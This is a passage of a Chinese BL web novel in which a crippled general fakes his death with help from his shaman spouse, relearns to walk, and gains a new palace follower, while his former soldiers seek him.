药材燃烧的白烟渐渐散去,只剩苟延残喘的几缕,虫罐倒的倒,碎的碎,苗霜用过的砍刀插在地上,刀身上也趴伏了几只嗜血的蛊虫。 这些蛊虫尽职尽责地打扫着战场,和之前苗霜杀长老立威时用的蛊虫似乎是同一种,却要温和许多,进食的速度并不快,可能是不太饿。 祁雁看了一会儿,收回视线。 不知道苗霜把酒藏在哪儿了,记得上次他出门拿酒,好像是下了楼。 下楼…… 祁雁看向那段向下的楼梯。 他来苗寨至今已有两月,还一次都没下过楼,这座伫立于山间的吊脚楼像是为他量身定做的囚笼,只需要一段楼梯,就能将他牢牢困在其中,插翅难逃。 但今天不同。 昔日的祁雁已死,新生的祁雁要尝试从这囚笼里出去。 不过走楼梯对他来说还是太困难了,他连平地都走不稳,要是走这楼梯,非得一头栽下去不可,得想个别的法子。 他看了看楼梯光滑的扶手,心中已经有了主意,胳膊一撑坐了上去,整个人顺着扶手滑下。 他落在扶手最底端,四下张望,没看到哪里有酒坛,倒是看到了院子里的灶台。 许是个人习惯,苗霜家的厨房并不在屋子里,而在院子里,他也不用那炉灶做饭,只用来煎药或烧水。 祁雁目测了一下那距离,有点远,但努力一下也并非过不去,于是他计算好了所有能够撑扶借力的点,狼狈却顺利地将自己移动到了灶台前的小板凳上。 打开水缸盖子,把水一瓢瓢舀进烧水用的大锅里,点燃灶膛里的柴,烧着烧着却发现柴不太够,又没劈好的了,干脆拎起斧头现劈。 没经过充分晾晒的木柴燃出了更多的烟,祁雁被呛得咳了下,往旁边挪了挪。 苗霜从山下回来就感觉情况不对,还没走近,他已经看到自家院子里升起的炊烟和零星火光,在深夜中格外醒目。 他不禁十分诧异,心说天还没亮呢厨子就起来做饭了吗,而且他离开时匆忙,都没来得及收拾残局,厨子看到院子里那些乱七八糟的玩意居然没被吓死,还能面不改色地继续做饭? 等他推门入院,就看到那道坐在灶台前的身影,身形瘦削,怎么看也不像那胖厨子。 苗霜还以为自己眼花了,抬头望了望吊脚楼里,看到停在楼梯平台上的轮椅,轮椅上却并没有人。 他终于相信了那人是祁雁,走到他跟前,满脸怀疑地将他上下打量了一遍:“你怎么下来的?” 祁雁拨弄了一下灶膛里的柴,转过头道:“夫人回来了。” 苗霜几乎怀疑自己杀错人了,面前这个或许是贾忠,他瞄一眼对方的腿:“你腿好了?能走路了?” “没好,”祁雁道,“勉强能走几步。” 苗霜重新估算了一下这里到吊脚楼的距离:“几步?” 祁雁笑了下,没头没尾地说:“不知夫人是否听过一桩轶事?” 苗霜莫名其妙:“什么?” 祁雁:“世有毒蛇,名曰五步,顾名思义,被蛇咬中后五步之内必亡。一农户进山砍柴,不幸被五步蛇所伤,农户大惊,不想命丧于此,遂擒住那五步蛇,每走四步便再让蛇咬上一口,如此反反复复,终于坚持到下山,农户回到家中,家人立刻寻来郎中为他医治,解了蛇毒,农户的性命便保住了。” 苗霜愣了下,随即被他给气笑了:“你有病吧?” “世人皆笑农户愚钝,听之唯一乐耳,可我今日却效仿那农户,五步将摔,我便只行四步,歇息片刻,再行四步,积跬步而至千里。” 苗霜:“……” 他实在想象不出那是怎样的画面,有些滑稽,又有些令人心酸。 他张了张嘴,却半天没说出话,许久才捡了句无关紧要的:“看来将军心情不错,还能给我讲冷笑话。” 祁雁掀开锅盖,锅里的水已然沸腾:“水烧开了,夫人可以沐浴了。” “搞了半天,你在给我烧洗澡水?”苗霜看了眼自己衣服上的血,“是该洗洗,不过这点水可不够。” “夫人先将这水挑走,我再烧一锅。” 苗霜并不乐意干这种事,可明秋明冬已经走了,现在没人伺候他,那个姓祁的更加伺候不了他。 虽万般不愿,他还是只能自己来,上楼下楼跑了好几趟,把这些热水挑进浴桶。 这凡间就是落后,洗个澡都这么麻烦。 祁雁已经烧上了第二锅水,问他:“夫人就那么相信那个小太监?若他一去不返,又该如何?” 苗霜知道他说的是明秋,抱着胳膊靠在一旁:“那只能说明他是个蠢货。” 这几天他在贾忠面前演的戏,都是让明秋配合的,当然,圣子也有一份。 “此人很有城府,”祁雁道,“他今年不过十九岁,和来福一般大,心思却深不见底。” “你想说什么?” “他会跟着我们来苗疆,或许不是偶然,若非他自己争取,就是有人刻意安排……又或者两者都有。” “不管他目的为何,现在暂且和我们站在一边,我在他身上下了蛊,到现在都没被触发,说明他没做背叛我们的事。”苗霜道。 祁雁点了点头。 “且看他在刺史府如何大显身手,”苗霜又说,“若事成,等圣蛊送回京都,你就自由了,将军。” “虽自由了,却也从活人变成了死人。” 苗霜眉梢微挑:“那又如何?我看你还挺高兴的,有时候死人比活人更自在,想要彻底摆脱季渊的监视,你非死不可。” “夫人说得轻巧,”祁雁煞有介事地叹口气,“我一死,虽摆脱了季渊的监视,却是再不能出现在旁人的视线当中,从躲着监视我的人,变成了躲着所有人,以后只怕要日日谨慎,时时提防,怎么想这日子也好过不起来啊。” “以后的事不妨以后再说,我劝将军还是着眼于当下。” 祁雁不解:“夫人此话何意?” 苗霜指向不远处的吊脚楼,手指隔空点了点那段楼梯,落在亮着灯光的楼上卧房:“比如——先想想你该怎么回去。” 第52章 第 52 章 夫人想让我做什么都行 祁雁:“……” 他下楼只是一时兴起, 的确没考虑过要怎么回去。 沉默片刻,他道:“我还是先把这锅水烧完吧。” 趁这时间,苗霜去收拾了院子里的一地狼籍, 贾忠的尸体已经彻底被蛊虫吃干净了,连一滴血都没剩下。 吃饱喝足的蛊虫慢悠悠爬回虫罐, 苗霜把它们一一摆放整齐,将烧过的药材扫到一处用土填了, 虽做假戏,但这些药材可是实打实的,其中有几味还不便宜,他心疼得很。 凌乱的院子重新变得整洁,他最后拎起那把砍刀,在附近转悠了一圈,找了棵顺眼的树,砍下一段合适的树枝来,削去上面的枝节和毛刺, 试了试,勉强可以当个拐杖。 正巧水也烧好了, 苗霜把热水提上楼,感觉差不多够洗个澡。 他把刚做好的拐杖扔给祁雁:“凑合用着,明天我找人给你打一副。” 祁雁掂了掂,感觉只靠这根木头着实有点悬:“这东西……真的能行吗?” 苗霜急着去洗澡,有些不耐烦了:“不行你就继续在这坐着,等什么时候明秋回来, 什么时候抬你,贾忠睡过的地方还没收拾,今晚你就在那住吧。” 祁雁不是很想睡别人睡过的地方, 更何况那人是个奸细,他思索片刻,冲苗霜伸手:“夫人,拉我一把。” 苗霜不太情愿地抓住了他的手,把他从小板凳上拽了起来,祁雁顺势将胳膊绕过他肩膀,用力搭住了他。 一个人的重量就这么压上来,苗霜踉跄了一步,差点没站稳,祁雁及时撑住那根拐杖,没让他们两个一起摔了。 这么久了,苗霜还是第一次看见他站起来,虽然没完全站直,但他还是能明显感觉到他们之间的身量差距。 他已经不记得泊雁仙尊有多高了,只记得那人看他时,视线永远是微微俯视,也因此,显得他愈发高高在上,冷漠又不近人情。 “夫人,”祁雁的声音贴着他的耳畔,“不走吗?” 苗霜回过神来,一言不发地往吊脚楼走去,让他搀扶祁雁实在不是什么明智的决定,一半体重压在他身上,他感觉自己都要走不动了。 好不容易把他扶到楼梯口,祁雁已经有些气喘,不知是疼的还是累的,他放下拐杖,继而抓住楼梯扶手,艰难迈动脚步想要上楼。 上楼显然比走平地更困难得多,双腿沉得像是灌了铅,不过是一个楼梯踏步,却怎么也迈不上去,腿筋传来阵阵酸疼,祁雁攥着扶手的手臂上青筋凸起,已是尽了全力。 第一次尝试终以失败告终,他松开了苗霜,整个人倚靠到扶手上,仰头大口呼吸。 苗霜揉了揉被他勒疼的肩膀:“你到底能不能行?” 祁雁跌坐在台阶上,疲惫不堪地冲他摆了摆手,气息不稳道:“夫人先去洗澡吧,等下水要凉了。” “刚烧开的水,倒也没那么快凉,”苗霜往上走了两阶,“实在不行,我找根绳子把你顺上来?” “夫人恐怕拽不动我。” 苗霜更烦了,这具身体哪里都好,就是缺乏些力量:“那你说怎么办,要不你用爬的?反正这里也没别人。” 祁雁摇了摇头。 “再试一次吧,”他说,“我能上去,还请夫人再帮我一把。” “最后一次,你要是还不行,我就不管你了。” “好。” 祁雁休息了一会儿,稍微恢复了些力气,他搭住苗霜,撑着扶手继续往楼梯上走,苗霜感觉到他屏住了呼吸,整个人都在用力,像是自己在跟自己较劲。 昔日策马扬鞭驰骋沙场,而今却连爬个楼梯都费劲,苗霜知道他在挣扎什么,他的确不该跪下来四足并用,他站着,至少还算是个人。 残了这许久,一旦品尝过重新站起来的滋味,就再无法接受只能跪地膝行的自己。 苗霜紧紧抓住他的胳膊,几乎用上了全部的力气,终于将他拽上最后一级台阶,赶紧撒了手,把人扔到轮椅里。 被这家伙搞出了一身汗,身上本来就脏,现在更脏了,他一刻也坚持不下去,脱了衣服就去洗澡。 水还有点烫,他又往浴桶里兑了点凉水,温度刚刚好,他迫不及待地跨进桶中。 祁雁坐在轮椅上休息,他实在有些体力透支了,今晚太过勉强,现在腿已经酸软得没有一丝力气。 不过……他做到了。 唇角扬起一抹弧度,他转头看向远处的天空。 月色渐隐,天蒙蒙亮了。 祁雁操纵轮椅进了屋,绕过屏风,看到正泡在浴桶里的苗霜,问道:“夫人要帮忙吗?” 苗霜正闭目养神,闻言一掀眼皮:“帮什么忙?” “帮你洗澡。” “?” 祁雁:“今日之事多谢夫人,但一句感谢未免太过苍白,于情于理,我都该报答。” 苗霜一挤眉头,打量他道:“今日之事,你指哪件?” “所有。” “若是所有,只帮我洗个澡就算报答,这恐怕不够吧。” “夫人想让我做什么都行。” 苗霜却也没想好让他做什么,他现在又累又困,只想赶紧躺床上睡觉,可不洗澡难受得睡不着,洗澡又累得不想动。 于是他觉得祁雁的提议也并非不能接受,勉为其难道:“行吧,那你先帮我洗澡。” “遵命。” 轮椅慢慢靠上前来,祁雁拿起水瓢舀了热水,一点点帮他把头发打湿。 发尾沾到的少许血迹已经干了,被水润湿后从发丝间冲洗下来,祁雁揉了些皂角,仔仔细细帮他洗净。 雪白的发丝重新变得一尘不染,顺滑地从指间穿过,他五指顺着经络的走向轻轻帮他按揉头皮,问道:“夫人这发色是天生的吗?” 苗霜已经被热水蒸得昏昏欲睡了,也没过脑子,随口答道:“不是。” “那是何种原因造成?” “自然是因为——”苗霜猛地一顿,睁开眼睛,匆匆改口,“那场大巫选拔。” 好险,差点就把“修炼魔功”说出去了。 祁雁的动作停了停。 之前苗霜告诉他,身体因为承受过量毒素而陷入长时间的精神混乱,却没说这毒还能改变一个人的外貌。 “那眼睛的颜色?”他又问。 “也是。” “你不觉得小白和我长得很像吗?”苗霜又往下滑了一截,更加舒服地靠在浴桶中,“苗寨中关于禁蛊并没有太多记载,多为口口相传,听族里老人说,蛊王的样貌决定大巫的样貌。” “数百年前禁蛊还没被禁时,每隔几十年就会进行一次大巫选拔,有一次蛊王是只蝎子,于是那位大巫是个鹰钩鼻,状如蝎的尾针;有一次蛊王是蜈蚣,于是那位大巫生出了六条手臂四条腿;蛊王是蟾蜍,大巫浑身麻麻赖赖,声如鸣蟾;蛊王是守宫,大巫可断肢再生,仅凭双手双脚就能在墙壁上灵活攀爬。” 祁雁:“……” 他感觉自己的想象力可能是有些不够用了。 “当然了,这些都是传闻,毕竟现在还活着的人中根本没人见过他们,或许是在一次次的口口相传中变得逐渐妖邪化而已。” 苗霜说着笑了下:“这么看来,你还得感谢这次胜出的是小白,在所有毒物当中,它已经算长得相当好看的了,虽然脑子蠢些。” 祁雁没接他的玩笑话,慢慢将他的白发捋到耳后:“你认为禁蛊是‘妖邪’?” “那不然呢?我虽为大巫,却也知道哪些蛊术该保留,哪些蛊术该废除,献祭无数条幼童生命炼制而来的禁蛊,令人不耻。” “那你……恨他们吗?”祁雁坐在他身后,双手慢慢从耳后移到他肩头,“我是说除了款首以外,所有支持重启禁蛊的人。” 这个问题让苗霜沉默下来,过了好一会儿才续上话音:“恨当然恨,但他们中也不是所有人都罪无可恕,大部分都是被款首煽动怂恿,至于那些知错不改的,基本上都被我杀了,还有一些漏网之鱼,我若是想杀,自己会解决,这是我苗寨内部事务,将军还是不要插手了。” 祁雁叹了口气,帮他按揉肩膀:“好吧,可夫人这小事不算,大事不用,究竟如何报答,也让为夫很是为难啊。” 苗霜嘶了一声:“你先别碰我的肩膀再谈报答。” 祁雁忙收住力道:“抱歉,弄疼你了?” 苗霜活动了一下扶他上楼时被按得生疼的肩膀:“手劲那么大,你这力气但凡有一半在腿上,也不至于爬不上楼梯。” 这回祁雁放轻了力度帮他按揉:“好点了吗?” 苗霜哼哼一声:“快点洗,水都要冷了。” 祁雁赶在水凉之前帮他清洗完全身,苗霜从浴桶中站起身来,裹了浴袍就往外走。 祁雁追在他后面想要帮他擦干:“至少先把头发擦了再走吧?弄得家里到处都是水。” “怕什么,有水也会从楼板缝隙渗到下面去,又不用你拖。” 苗霜说着就上了床,祁雁赶紧用毛巾裹住他的头发,耐心帮他擦干。 苗霜低着脑袋任由他擦,眼皮越来越沉,很快就不省人事。 祁雁起初还没发现他睡着了,直到跟他说擦好了他却没反应,一撒手,人就失去重心往他怀里栽。 祁雁急忙将他扶住,轻声唤道:“夫人?” 苗霜的脑袋微微抬了下,似乎挣扎着想醒来,但紧接着下巴又往下点,显然没能从浓重的困意中挣脱。 坐着都能睡着,看来是真累了。 祁雁没再叫他,继续帮他擦身体,可手一不扶着他他就要栽倒,不得已,他干脆把人抱到了自己腿上。 这人就没这么乖地在他怀里待过,沐浴过后的清香萦绕在鼻端,祁雁嗅了嗅,忍不住喉结微滚。 难以克制的冲动在这一刻袭上心头,他小心翼翼捧住他的脸,在他唇边轻轻吻下。 第53章 第 53 章 庆祝你重获新生的礼物 他说不清这冲动从何而来, 只觉得一发而不可收,像是熊熊燃起的烈火。 他细细亲吻着对方的唇瓣,睡熟的苗霜没有抗拒, 自然也没有回应,任由他为非作歹。 细密的亲吻落在唇角, 落在颊边,继而抬起他的下巴, 落在喉结上,一心只想睡觉的苗霜显然不想被人打扰,眉心微微蹙了蹙。 祁雁却不肯放过他,齿尖在他锁骨上轻轻磨碾,直到留下清晰的齿痕,这才意犹未尽地帮他拢了拢浴袍,小心翼翼地把人放在了床上。 红痕在白皙肌肤上格外醒目,祁雁深黑眼眸中清潮翻涌。 这样的痕迹,泊雁仙尊一定不曾留下吧。 只可惜明天一早就会消失, 苗霜身上难有什么痕迹能留过夜。 祁雁把人往床里侧推了推,也跟着躺了上去。 * 明秋明冬快马加鞭, 以最快的速度抵达了黔州刺史府,这一路颠簸,屁股都快颠碎了。 明冬呲牙咧嘴地从马背上跳下来,一瘸一拐地走上前去,对守在门口的护卫道:“我们要见刺史,快去通报。” 那护卫却把白眼一翻:“刺史是你想见就能见的?官凭呢?拿出来给我看。” “哎你!” “明冬, ”明秋急忙拉住他,对护卫道,“不知阁下可还记得来黔州赴任的祁大人, 祁观察使?我二人奉陛下之命,照顾祁大人生活起居,一路随大人南下,而今有要事向刺史禀报,还望阁下行个方便。” 对方一听“奉陛下之命”,倨傲的神色立马缓和下来,赔了个笑脸:“明白了,两位稍待,我这就去通禀。” 护卫转身进了刺史府,明冬忿忿不平,冲着他的背影暗骂:“真是狗眼看人低,区区一个刺史府的护卫都能这么对我们说话。” 明秋:“狗仗人势罢了,好了明冬,别节外生枝。” 他把装着人头的盒子从马背上解下,冯刺史也迎了出来,满脸堆笑:“不知两位到访,冯某有失远迎,快快请进。” 两人被他迎进了正厅,冯刺史吩咐手下人道:“还愣着干什么?还不快去给二位贵客看茶?” “冯大人不必麻烦,我们拜会过大人,还要即刻启程赶往京都,没时间喝茶了。”明秋道。 冯刺史摆了摆手,示意无关人等退下,凑上前来:“不知两位突然到访,究竟是为何事?还有……祁大人他怎么没和你们一起来?” 明秋垂眸,神色黯然:“祁大人,死了。” 冯刺史大惊:“啊?!” “这盒子里装着的,正是祁大人的人头,还请刺史过目。” 冯刺史万万没想到还有人头,吓得连连后退,疯狂摆手:“不不不,这就不必过目了吧!” 明秋却已经将那盒子打开:“大人为一州之长,朝廷命官遇害这么大的案子,必须由大人过目,否则我二人没法向陛下交代。” 冯刺史抬手挡脸,紧闭双目,过了好半天,才有勇气偷偷看了一眼,就看到盒子里那颗惨白的人头,果然是祁雁无疑。 他登时一拍大腿,悲从中来:“怎会如此啊!我与祁大人虽只见过几面,却也有些交情,祁大人一心为国,上任第一天便前往苗寨视察,怎料竟一去不返!” 他神情悲怆地握住了明秋的手,眼中硬是挤出些泪来:“还请两位快快告知,祁大人究竟是如何死的?可是为人所害?” 明秋沉痛地点了点头:“刺史所料不错,祁大人的确是被人杀害的,那人姓贾名忠,暂且不知是否为化名,不过我们可以确认,他是南照奸细。” “什么?!”冯刺史又是一惊,“南照奸细,竟在黔州?” 明秋将事情原委一五一十地跟他说了,当然,隐瞒了有关圣蛊的那部分,他们离京前被祝公公千叮咛万嘱咐,圣蛊一事须秘密进行,不可被他们几个以外的任何人知道。 “这……这……”冯刺史焦急地在屋子里走来走去,“竟有此事,竟会有此事……” 明秋:“据苗民称,那贾忠畏罪潜逃,已离开苗寨,还请刺史大人即刻发布通缉令搜捕他,若是晚了,恐怕就来不及了。” “呃,这……”冯刺史看起来有些为难,他压低声音,谄媚道,“可是二位,这在我治下冒出一个奸细,还杀了朝廷命官,这事要是传到陛下耳朵里,我这刺史恐怕是当到头了啊。” “冯大人,”明秋严肃起来,“奸细在您治下杀害朝廷命官,若真追究起来,您也只是失职,但您若知情不报,那可是欺君。” “不不不!”冯刺史吓得脸都白了,慌忙摆手,“不敢不敢,两位言重了,言重了!我一定据实以报,一定据实以报!” “如此便好,还望冯大人尽快写好文书上奏朝廷,我二人即刻就要回京复命,大人的文书若是到得太晚,我们恐怕也赶不及在陛下面前为您求情。”明秋道。 冯刺史闻言,不禁眼睛一亮,冲明秋深深一揖:“多谢,多谢二位!我这就去拟通缉令,争取尽快将那奸细抓住,将功补过。” 想了想,又说:“不知两位可还能提供一些更加具体的信息?比如五官长相、身形特征之类的。” “有,”明秋拿出早已准备好的画像,“这是请苗寨中擅长笔墨的苗民画的,画技虽一般,但也还算传神,大人拿着这个,还望早日抓到犯人。” “太好了,太好了!”冯刺史接过画像看了一眼,“我现在就去安排!” 他说着风风火火地走了,一刻也不敢耽搁。 而此时此刻,就在正厅的屋顶上,一道身影悄无声息地离开了,轻功一展飞出刺史府,潜入附近的树林里。 两个同伴从树后绕出,与他汇合,两人一个少了一条胳膊,一个只剩一只眼,三人当中,竟只有一个还算健全。 独眼的同伴迫不及待地问:“赵戎,怎样了?可有祁将军的消息?” 被唤作赵戎的青年一屁股坐在了石头上,痛心疾首地敲打自己的膝盖,眼眶通红,语气几乎带了哭腔:“他们说将军死了!” “什么?”独眼惊得后退了一步,“将军他……” 断了臂的青年走上前来:“将军死了?你看到了将军的尸体?” 赵戎摇了摇头,抹一把眼角的泪:“没有,但那两个小太监手里提着一个人头大的盒子,我听他们交谈,说盒子里是将军的首级。” “可有看到里面的东西?” “他们进了屋,我没看到,不过那刺史亲眼所见,听他的反应,应该不假。” 独眼撑着刀慢慢跌坐在地,失魂落魄:“将军死了……我们寻了他这么久,好不容易快要找到了,居然……还是来晚了一步吗……” “我不相信将军死了,”断臂青年眉头紧锁,“赵戎,你可有听到将军是被谁所杀?” 赵戎哽咽着向他复述了自己听到的全部。 断臂青年单手持刀,在两人面前踱着步:“南照奸细……这就更不对了,将军一向谨慎,就算武功废尽,却也不该被区区一个奸细所害,更何况,听说他身边还有个不知底细的苗疆大巫。” “没准就是那大巫所害,嫁祸给南照奸细!”赵戎义愤填膺,“我们打听了这么久,从京都一直打听到黔地,才算打听到那位‘将军夫人’的身份,万万没想到他竟是那苗疆大巫!和杀害自己族人的仇人成亲,他能安什么好心?!” “没有证据的事,还是不要妄下定论。” “姜茂!”赵戎怒而起身,“你怎么总是帮那些苗人说话!” “好了,都别吵了,”年长些的独眼男人开了口,似乎从悲痛中缓过来了一些,“小赵,先听小姜把话说完。” 赵戎愤然坐回原位。 姜茂:“你们难道不觉得,将军被封为黔州观察使这件事本身就很蹊跷?黔中道不设节度使,观察使一官独大,兵甲财赋民俗之事无所不领,就算黔中无兵,可将一道之事都交给将军管辖,以陛下对将军的忌惮,他怎么可能放得了心?” 赵戎点了点头:“有道理啊。” “小姜说的不错,观察使和刺史的职务常有重叠,因此观察使也由刺史兼任,现在黔州既有观察使,又有刺史,这么长时间过去了,他们两人居然没打起来,这不合常理。”独眼道。 赵戎:“我记得那刺史说,将军上任第一天就去了苗寨视察,却一去不返。” 姜茂:“这样就对了,所以我怀疑,陛下赐的这个‘观察使’不过是个顶着观察使名头的虚职,实际上一道之事依然由那位刺史管理。” “既然不是真的给他官职,那陛下派将军去黔州,到底是干什么的?”赵戎问。 “恐怕还和那圣蛊有关。” “圣蛊?” “具体是怎样我暂时也猜不到,但直觉告诉我,一定和圣蛊有关,或许,陛下就没打算让将军活着离开苗疆。” 赵戎一惊:“那将军他……” “我们都能猜到的事,将军肯定更能猜到,我们应该相信将军,也许他的‘死’,正是他将计就计。” “你是说……金蝉脱壳?” “总之,我们都已经走到这里了,绝对不能在这种时候前功尽弃,”姜茂转身看向远处,“我们想办法进苗寨看看,就算将军真的死了,也要亲眼确认才行,我不信那颗脑袋真是将军。” “可那苗寨哪里是那么好进的,我们之前几次想进去都被赶了出来,进寨子又只有一条路……” “还有一条路我们没试过。” “哪里?” “水路。” “……你是说从河里游过去?”赵戎难以置信地打量着他,“虽说咱们几个水性都不错,可你这……你这都断了一臂,怎么游啊?” “不试试怎么知道不行?我们雁归军,难道还贪生怕死吗?” “你……唉……” “就照小姜说的办,”独眼帮他们敲定了主意,“事不宜迟,走吧。” 与此同时,苗寨。 因为今早天都亮了才歇息,苗霜一直睡到了中午,也没叫醒祁雁,独自出了门。 傍晚时分,他回到家中。 祁雁似乎是刚起来,正坐在床边醒盹儿,苗霜看了看他,嘲笑道:“将军可真能睡,一睡就是一整天,你在军营里也这么懒?” 祁雁打了个哈欠:“没人叫我,睡过头了——夫人这是刚回来?” “拿去,”苗霜把一副拐杖扔给他,“找人加急帮你打的,就当是庆祝你重获新生的礼物。” 第54章 第 54 章 谁教你的? 祁雁接住了那副拐杖, 摸了摸,木头打磨得十分细腻光滑,他不禁唇角微弯:“多谢夫人。” 拿到了拐, 他迫不及待就想要试试,谁料这一起身就感觉双腿一阵剧痛, 轻抽冷气,又跌回原位。 坏了, 昨夜使用过度,今天有点站不起来了。 苗霜上下打量着他:“怎么,只是爬个楼梯你就歇菜了?看来这拐今天你是用不上了,你早说,我就不催那么急。” 祁雁把拐杖放到一边,撑身上了轮椅:“我先去洗漱。” 天色已晚,苗霜有点饿了,去隔壁的吊脚楼转了一圈,厨子已经在准备饭菜。 他自己提着食盒回到家, 刚摆好碗筷,就听一道熟悉的声音响起:“阿那!” “圣子来得可真是时候, ”苗霜把菜一一拿出来摆好,“赶着这个时间来,特意来蹭饭的?” “嘿嘿,”向久高高兴兴地跑进了屋,“我也不是空手来的,你看, 我带了酒给你!” 他说着提起手中的酒坛,踮脚把它放在了桌上:“这是田长老泡的药酒,她说最近换季, 容易生病,就把泡好的药酒送给大家喝,说能强身健体,还让我给阿那也带了一坛。” 苗霜:“田长老倒是有心了,看来款首选举一事,她已十拿九稳?” “具体结果我不知道,不过,我把票投给了她。”向久说。 这时,祁雁洗完脸来到餐桌前:“款首推选要出结果了?” 苗霜点了点头:“现在族中长老只剩两位,再不选出款首任命新的长老,就要彻底乱套了,两个月后还有重要节日,必须得有人操持。” “如果选出款首,那山顶那座吊脚楼也要有人住了吧?我在这里,不要紧吗?”祁雁问。 “如果是田长老胜出,她也不一定会搬上来,就算搬上来也没什么,放心好了,我有办法隐藏你的身份。” 既然苗霜这么笃定,祁雁也就不再追问,给三只空碗一一盛好了饭,问向久道:“圣子这两天在长老家玩得可开心?” “一点都不开心,阿那给我布置了一堆功课,根本没时间出去玩,”向久瘪了瘪嘴,不满道,“阿那真是会欺负人,我都配合你给那个奸细演戏,阿那也不说给我放个假……” “圣子这讨价还价的本事是跟谁学的?放假不可能,赶紧吃饭。” 苗霜说着打开了那坛酒,倒了两碗出来,递给祁雁一碗。 祁雁没想到居然还有自己的份:“你不是说我喝药,不能饮酒?” “不喝算了。” 苗霜就要把碗收回,祁雁一把按住:“喝。” 昨天晚上他想找酒就没找到,虽然这坛是药酒,但药酒也是酒。 他端起酒碗闻了闻,除了酒香,的确有一股淡淡的药材味,尝了一口,略有些苦,又有点甜。 比苗霜的药酒好喝多了,想必功效也差得多。 向久眼巴巴地看着:“阿那,我也想喝……” “你确定?” 向久连连点头。 “那好吧,”苗霜又拿了一个空碗,给他倒了一个碗底,“尝尝得了,小孩子还是少沾酒,我可不想因为灌醉圣子被神灵责骂。” 向久看着那可怜兮兮的一小口酒,直撇嘴。 苗霜端起酒碗,对祁雁道:“庆祝将军重获新生。” 祁雁微怔,随即笑了笑,也端起酒来。 向久急忙加入:“还有我还有我!” 三只酒碗碰在一起,溅了两滴酒出来,祁雁将碗中酒一饮而尽,辛辣的酒液穿喉而过,带来许久不曾体会的畅快。 向久抿了一口,表情痛苦地直吐舌头:“啊,好辣好辣!” * 黔州官道,驿站。 鸡鸣声声,朝阳自天边缓缓升起,穿云而过,普照大地。 明秋把行李绑在马背上,系紧勒好,也包括那个装着人头的盒子。 明冬起晚了些,从屋子里跑出来,才发现明秋已经打点好了一切,他们昨夜在这里住了一宿,现在该启程了。 他拉过缰绳,牵了马准备离开驿站:“我们走吧?” “明冬,我只能送你到这儿了,”明秋说,“我们就此别过吧。” 明冬错愕回头:“你在说什么?” “我要返回苗寨,不能和你同行了。” “为什么?”明冬瞬间有点急了,“我们不是说好要一起回京都复命吗?你还回那苗寨做什么?” “你忘了陛下交给我们的任务?”明秋压低声音,“除了拿回圣蛊,还要盯紧那大巫,现在祁雁虽死,却不代表大巫就会乖乖听话。” “这……”明冬陷入纠结,“盯紧大巫,难道不是截止到拿回圣蛊为止?陛下有说之后还要一直盯着吗?” 明秋:“听说苗寨马上就要选出新的款首,新任款首上任后苗寨会发生什么变化,会不会又起反心,谁也说不好,我们无论如何不该在这种时候离开,可护送圣蛊回京又一刻也耽搁不得,我们只能分头行动了。” “你说的也对,”明冬思索片刻,“可那苗寨如此危险,那大巫更是有百般手段,我们好不容易逃了出来,你再回去,他们要是对你不利怎么办?” “我们为陛下办事,哪里顾得上自己的生死,我们这种人,自幼进宫,这辈子就困在宫墙里了,苗寨还是皇宫,对我们来说都一样危险。” 明冬看着他黯然的神色,不禁心里一揪,紧紧握住他的手:“要不我替你去吧,我替陛下继续盯着大巫,你护送圣蛊回京。” 明秋却摇了摇头:“你不是一直渴望往上爬,取代祝公公吗?现在最好的机会就摆在你眼前,怎么能半途而废?你是我最好的朋友,我当然希望你过得好,还记得我们净身那天立下的誓吗?” 明冬听着,不禁有些哽咽:“苟富贵,勿相忘,不论日后谁发达了,都不能忘了彼此。” “对,”明秋笑起来,清秀的面容迎着朝阳,“所以你回去以后,可千万不能忘了我,如果我有机会回到宫中,还指望你照拂我呢。” “你这人……”明冬抹了一把眼角的泪,“真是的,好,我答应你,我明冬,绝对不会忘了好兄弟明秋,此生此世。” 明秋笑着锤了下他的肩膀,将手里的包裹递给他:“东西都在里面了,圣蛊,盘缠,还有大巫给陛下的信。” “信?” “嗯,大巫不跟我们一起返回,所以写了这封信向陛下请罪,你只管把东西交给陛下,记住,多余的话一句都不要多说。” “我明白了。” “出发吧,”明秋把他扶上马背,“明冬,一路顺风。” “你也是,一定要保重!我等你来找我的那天!” 明冬策马扬鞭而去,明秋又在原地站了许久,才翻身上了另一匹马,毅然决然调转马头,一夹马腹:“驾!” 两匹马就此分道扬镳,阴影在初升的朝阳中拉得斜长,一匹北向京都绝尘而去,一匹南入苗寨一去不返。 明秋策马狂奔,赶在天黑前抵达了苗寨。 在寨门口值守的苗民拦住了他:“什么人!” “是我,”明秋从马背上下来,“烦请告知大巫,明秋回来了。” “你不是已经走了吗,又回来干什么?”那苗民用蹩脚的汉话和他交流,“那汉人将军已经死了,你也不用继续服侍他了。” “我想留下来侍奉大巫。” 苗民勃然大怒:“我们苗疆的大巫,岂用你一个汉人侍奉!” 另一个苗民拽了他一把,冲他摇了摇头,对明秋道:“大巫说了,如果你回来可自行进寨,不用请示了,你走吧。” 明秋冲他颔首:“多谢。” 暴脾气的苗民冷哼一声,不情不愿地放过了他。 明秋顺着熟悉的山路上山,来到苗霜的吊脚楼,一抬头,就看到坐在楼上的祁雁,对方开口道:“还真回来了。” “我早就说过他会回来,”苗霜抱着胳膊靠在门边,“你回来得正好,今晚洗澡水终于不用我自己挑了。” 明秋上了楼,冲他们一揖:“谢将军、夫人信任,明秋此生愿追随二位左右。” “你为何想留下来?”祁雁试探他道,“圣蛊已经拿到了,进宫领赏岂不美哉?这么大的差事,陛下给的赏赐够你们逍遥快活一辈子,说不定从此得权得势,更胜过祝公公。” 明秋眼眸微垂,不卑不亢:“陛下残暴不仁,此番回京复命,恐怕不是领赏,而是送命,大巫也正因此选择了留在苗疆,不是吗?” 苗霜挑了挑眉,没有接话。 “你知回京只有死路一条,还放你的同伴去送死?”祁雁问,“你不是说,他是你最好的朋友?” 提到明冬,明秋的神色有些黯然,语气却没有任何改变:“一入宫门,便再没有什么亲人朋友了,他的确跟我要好,可道不同不相为谋,他一心想着往上爬,若真爬到了祝公公那个位置,只怕也要成为和祝公公一样的人——他如果真被陛下所杀,也只能算他咎由自取,这是野心的代价。” “好一个野心的代价,”祁雁目光幽深,“那你认为,我和大巫就没有野心?若有,是否也要付出代价?” 明秋抬起头来。 “世人皆有野心,没人不想当那万人之上,有人在万人之上俯瞰万人,万人山呼万岁,有人脚下却尸山血海,眼中唯己一人耳。” 他身形一矮,在祁雁和苗霜面前跪了下来,磕头至地:“明秋只愿追随明主,为民之野心不叫野心,而乃仁心。” 